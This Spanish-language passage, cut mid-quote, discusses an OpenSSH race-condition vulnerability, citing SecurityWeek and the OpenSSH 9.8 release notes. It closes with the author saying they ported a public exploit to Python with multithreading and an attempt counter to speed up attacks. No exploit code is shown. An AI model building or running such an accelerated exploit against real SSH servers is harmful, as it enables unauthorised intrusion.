Esto es esencialmente una vulnerabilidad estadística: requiere un gran número de intentos para ganar la condición de carrera y ejecutar código arbitrario con éxito. Los atacantes necesitan superar muchos obstáculos", dijo Schwartz a SecurityWeek. "Incluso en el mejor de los casos, las vulnerabilidades más conocidas tardan más de 4 horas en ejecutarse".
En las notas de la versión 9.8 de OpenSSH, los desarrolladores indicaron que la vulnerabilidad solo se ha confirmado en sistemas Linux de 32 bits basados en glibc y señalaron que OpenBSD no está afectado.

Hay uno disponible públicamente, pero necesita compilación. El código está enlazado en los enlaces relacionados. Lo convertí a Python, añadí concurrencia con múltiples hilos para mejorar la velocidad de ataque, y añadí un contador de 100.000 intentos con salida al lograr el ataque con éxito.
